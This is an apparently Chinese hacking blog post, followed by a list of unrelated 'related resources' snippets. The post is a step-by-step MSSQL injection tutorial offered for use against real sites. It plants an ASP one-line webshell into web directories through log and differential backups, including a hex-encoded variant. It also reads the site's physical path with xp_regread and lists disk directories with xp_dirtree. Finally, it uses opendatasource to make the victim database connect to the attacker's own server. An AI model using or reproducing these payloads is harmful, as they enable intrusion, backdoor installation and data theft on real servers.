`
daweijsp
  • 浏览: 22978 次
  • 性别: Icon_minigender_1
  • 来自: 中山
最近访客 更多访客>>
社区版块
存档分类
最新评论

<%eval(request("a")):response.end%> 备分专用一句话

阅读更多
<%eval(request("a")):response.end%> 备分专用一句话2007-06-05 09:49<%eval(request("a")):response.end%> 备分专用一句话
加个response.end会有不一样的效果,也就是插入一句话后所有的代码都无效,在一句话这里打止,也就减小了webshell的大小.

日志备分WEBSHELL标准的七步:

1.InjectionURL';alter database XXX set RECOVERY FULL-- (把SQL设置成日志完全恢复模式)

2.InjectionURL';create table cmd (a image)-- (新建立一个cmd表)

3.InjectionURL';backup log XXX to disk = 'c:\cmd' with init-- (减少备分数据的大小)

4.InjectionURL';insert into cmd (a) values ('<%%25eval(request("a")):response.end%%25>')-- (插入一句话木马)

5.InjectionURL';backup log XXX to disk = 'd:\chinakm\test.asp'-- (备分日志到WEB路径)

6.InjectionURL';drop table cmd-- (删除新建的cmd表)

7.InjectionURL';alter database XXX set RECOVERY SIMPLE--(把SQL设置成日志简单恢复模式)

注:InjectionURL是注入点,XXX是数据库名称.

附上DB_ONER权限HACK的其他技巧,希望对菜菜有所帮助,高手略过.

数据库差异备份代码:

1、create table [dbo].[jm_tmp] ([cmd] [image])-- 创建一个表

2、 declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0X6A006D00640063007700 backup database @a to disk = @s --备份数据库,@s为备份名称(jmdcw的16进制转换)

3、insert into [jm_tmp](cmd) values(0x3C2565786563757465287265717565737428226C222929253E)--将一句话木马 "<%execute(request("l"))%>"的16进制字符插入到表中

4、 declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s='C:\Program Files \Common Files\Microsoft Shared\Web Server Extensions\40\isapi\hsqq.asp' backup database @a to disk = @s WITH DIFFERENTIAL,FORMAT --对数据库实行差异备份,备份的保存路径暂定为C盘目录,文件名为hsqq.asp。

5、drop table [jm_tmp]-- 删除此表。

网站物理路径读取代码:

1、drop table [jm_tmp];create table [jm_tmp](value navrchar(4000) null,data nvarchar(4000) null)-- 创建表

2、 delete [jm_tmp];insert [jm_tmp] exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE', 'SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots','/'-- 将网站 目录插到表字段中

3、and (select top 1 cast([data] as nvarchar(4000)+char(124) from [jm_tmp] order by [data] desc)=0 '//暴出字段

4、drop table [jm_tmp]-- 删除此表。

磁盘目录读取代码:

1、drop table [jm_tmp];create table [jm_tmp](subdirectory nvarchar(400) NULL,depth tinyint NULL,[file] bit NULL)-- 创建表

2、delete [jm_tmp];insert [jm_tmp] exec master..xp_dirtree 'C:\',1,1-- 将C盘的文件夹及文件插入到表中

3、 and 1=(select top 1 cast([subdirectory] as nvarchar(400))+char(124)+cast ([file] as nvarchar(1))+char(124) From(select Top 1 [subdirectory],[file] From [jm_tmp] orDER BY [file],[subdirectory]) T orDER BY [file] desc,[subdirectory] desc) '//暴出第一个文件夹名称

4、and 1=(select top 1 cast([subdirectory] as nvarchar(400))+char(124)+cast([file] as nvarchar(1))+char(124) From(select Top 2 [subdirectory],[file] From [jm_tmp] orDER BY [file],[subdirectory]) T orDER BY [file] desc,[subdirectory] desc) '//暴出第二个文件夹名称

5、and 1= (select top 1 cast([subdirectory] as nvarchar(400))+char(124)+cast([file] as nvarchar(1))+char(124) From(select Top X [subdirectory],[file] From [jm_tmp] orDER BY [file],[subdirectory]) T orDER BY [file] desc,[subdirectory] desc) '//暴出第X个文件夹或文件名称

6、drop table [jm_tmp]--删除此表

网站物理路径读取代码:

1、drop table [jm_tmp];create table [jm_tmp](value navrchar(4000) null,data nvarchar(4000) null)-- 创建表

2、 delete [jm_tmp];insert [jm_tmp] exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE', 'SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots','/'-- 将网站 目录插到表字段中

3、and (select top 1 cast([data] as nvarchar(4000)+char(124) from [jm_tmp] order by [data] desc)=0 '//暴出字段

4、drop table [jm_tmp]-- 删除此表。

注射过程中DB_ONER权限并且主机与数据库不在一起的搞法

其 实.即使数据库和WEB不在一块还是有机会搞的.并不是说一点机会没.一般服务器装好系统什么的.都会装个IIS吧?列他C盘.看看有没有 Inetpub 这个目录.就知道他有没有装IIS了.但是.不知道他IP也?怎么办呢?可以这样来,PING一下WEB服务器.扫他这一C段的1433 端口.看看哪台开了.不过这方法也不好.现在很多主机都启用了防火墙.1433端口就算开了你也扫不着.这该怎么办呢?可以利用 opendatasource宏让对方的 SQL与自己的数据库建立连接.既然能建立连接.就可以得到数据库服务器的IP地址了.我们来试试看.有几个前 提得说一下.第一.你机器必须要有公网 IP.而且开放的1433端口要保证能被外网访问到.好.条件满足.就开始做吧!

我现在搞的这站.100%数据和WEB不在一块.但是从C盘看到了Inetpub文件夹.说明这数据库服务器安装了IIS.但是得不到他IP呀.怎么搞哦.简单.就用上面所说的方法搞一下.先在本机建个库先.打开查询分析器输入
create database hack520 create TABLE zhu(name nvarchar(256) null);create TABLE J8(id int NULL,name nvarchar(256) null); 点执行.

建 立了一个hack520的库名.和zhu J8两个表.zhu里面有name这一个字段.J8也放了两字段名.一个是id一个是name.好了.现在就可 以开始建立连接了~~~~~~~先看一下这条SQL语句insert into opendatasource('sqloledb','server= 你的IP;uid=SQL用户;pwd=SQL密码;database=建立的库名') .库名.表名 '执行的语句' 恩现在开始吧...

http://www.xxx.com/news.asp?id=126'inser ... asource('sqloledb','server=219.149.xx.182;uid=sa;pwd=hack520!@#77169;database=hack520').hack520.dbo.zhu%20select%20name%20from%20master.dbo.sysdatabases--

在IE上执行咯.呵呵这个时候对方就会连接到我机器的SQL服务器.不信?netstat -an看一下

在CMD下输入命令:
netstat -an | find "1433"
分享到:
评论

相关推荐

    上传和下载(上传多个文件)

    fileName=" + Server.UrlEncode(Eval("FileName").ToString()) %&gt;' Text='&lt;%# Eval("FileName") %&gt;'&gt;&lt;/asp:HyperLink&gt; &lt;/ItemTemplate&gt; &lt;/asp:DataList&gt; ``` 4. 下载处理: 在Download.aspx页面,根据查询字符串...

    宁志公文签收网站管理系统 5.5 破译版

    这是我对&lt;宁志公文签收网站管理系统 5.5 版&gt;源码进行破译的成果,完全可以进行二次开发。破译过程很辛苦,花了不少时间呢,所以资源分高一点,希望大家理解支持哈。 破译用到的工具其实很简单,主要参考了网上的...

    url rewrite 时,中文参数解决方法:用到的解码函数

    =&lt;&gt;=?@[\]^`{|}~%" For i = 1 To Len(enStr) c = Mid(enStr, i, 1) If c = "%" Then ' 处理百分号编码 v = Eval("&H" + Mid(enStr, i + 1, 2)) If InStr(strSpecial, Chr(v)) &gt; 0 Then ' 如果是特殊字符...

    java json ajax

    url: '&lt;%=request.getContextPath()%&gt;/displayAction.do?method=testJson', // 控制器地址 type: 'POST', error: function() { alert('there was an error while fetching events!'); }, color: 'yellow', // ...

    asp.net实现从数据库中下载以二进制存储的图片

    &lt;asp:LinkButton ID="LinkButton1" runat="server" CommandArgument='&lt;%#Eval("Picid")%&gt;' CommandName="DownLoad" Text='&lt;%#Eval("Pic_Name")%&gt;' oncommand="LinkButton1_Command"/&gt; ``` ```csharp protected void...

    nodejs文档.pdf

    Node.js 是一个基于 Chrome V8 引擎的 JavaScript 运行环境,它允许开发者使用 JavaScript 编写服务器端应用程序。Node.js 提供了一个高效的、非阻塞I/O模型,非常适合构建实时、数据密集型的网络应用。以下是关于 ...

    Node.js中文文档

    response.end('Hello World\n'); }).listen(8124); console.log('Server running at http://127.0.0.1:8124/'); ``` - **运行命令**:将上述代码保存为 `example.js` 文件后,可以通过 `node example.js` 命令来...

    php.ini-development

    Allow ASP-style &lt;% %&gt; tags. ; http://php.net/asp-tags asp_tags = Off ; The number of significant digits displayed in floating point numbers. ; http://php.net/precision precision = 14 ; Output ...

    Ajax+asp应用实例 注册模块,表单提交

    &lt;title&gt;Ajax-Sample1&lt;/title&gt; &lt;!-- Meta tags and stylesheets --&gt; &lt;/head&gt; &lt;body&gt; &lt;h2&gt;Ajax应用实例:注册模块&lt;/h2&gt; &lt;div id="Layer1"&gt; &lt;div id="msg"&gt;&lt;/div&gt; &lt;/div&gt; ID: &lt;input type="text" id="regid"/&gt; ...

    服务端 VBScript 与 JScript 几个相同特性的写法与示例

    Response.Write($e.item() + ':&lt;br /&gt;' + Request.Form($e.item())); } ``` 2. 转变量值为变量, 并赋值 有时,我们需要将集合中的键名作为变量名,并赋予相应的值。在VBScript中,可以使用 `Execute` 函数来实现...

    服务端 VBScript 与 JScript 几个相同特性的写法 By shawl.qiu

    Response.Write($e.item() + ':&lt;br /&gt;' + Request.Form($e.item())); } ``` 2. **转变量值为变量, 并赋值** - **VBScript**:VBScript中的`Execute`函数允许动态执行字符串作为代码,可以用于将集合中的键名...

    09 loadrunner中webservice接口测试1

    if (strstr(lr_eval_string("{ProvinceResult}"), "河北") &gt; 0) { lr_end_transaction("send", LR_PASS); } else { lr_end_transaction("send", LR_FAIL); } return 0; ``` - `lr_start_transaction`和`lr_...

    ASP让url的中文显示为编码

    action=&lt;%=server.urlencode("你好")%&gt;"&gt;asdf&lt;/a&gt; ``` 这里,`Server.URLEncode`函数被用来编码字符串"你好",将其转化为"%E4%BD%A0%E5%A5%BD",这样在URL中传递就不会导致乱码。 然而,为了从URL中解码这些编码的...

    ajax ashx实例

    在这个示例中,前端通过 AJAX 获取 JSON 数据,并将数据动态插入到页面中的某个元素(如 `&lt;p&gt;` 元素)中。 ```javascript $.ajax({ type: "post", url: "checkFile.ashx", data: {"filename": "2"}, dataType: ...

    Jquery Ajax 学习实例2 向页面发出请求 返回JSon格式数据

    Response.End(); } ``` 这里的`Response.Write`方法用于输出JSON数据,注意JSON数据的格式,它以`[`开始,以`]`结束,表示一个数组。数组中包含一个对象,该对象由键值对组成,例如`'UserName':'username','...

    利用wsc制作的一个asp后门

    需要注意的是,`a`参数只能接收VBS代码,而不能直接处理ASP对象如`Response`或`Request`。此外,对于2000服务器,你可以通过网络直接调用远程WSC,但2003服务器不支持这种操作。 这种类型的后门非常危险,因为它...

    node js 中文文档.pdf 下载

    response.end('Hello World\n'); }).listen(8124); console.log('Server running at http://127.0.0.1:8124/'); ``` 这段代码创建了一个监听8124端口的HTTP服务器,当有请求到达时,服务器响应一个简单的“Hello ...

Global site tag (gtag.js) - Google Analytics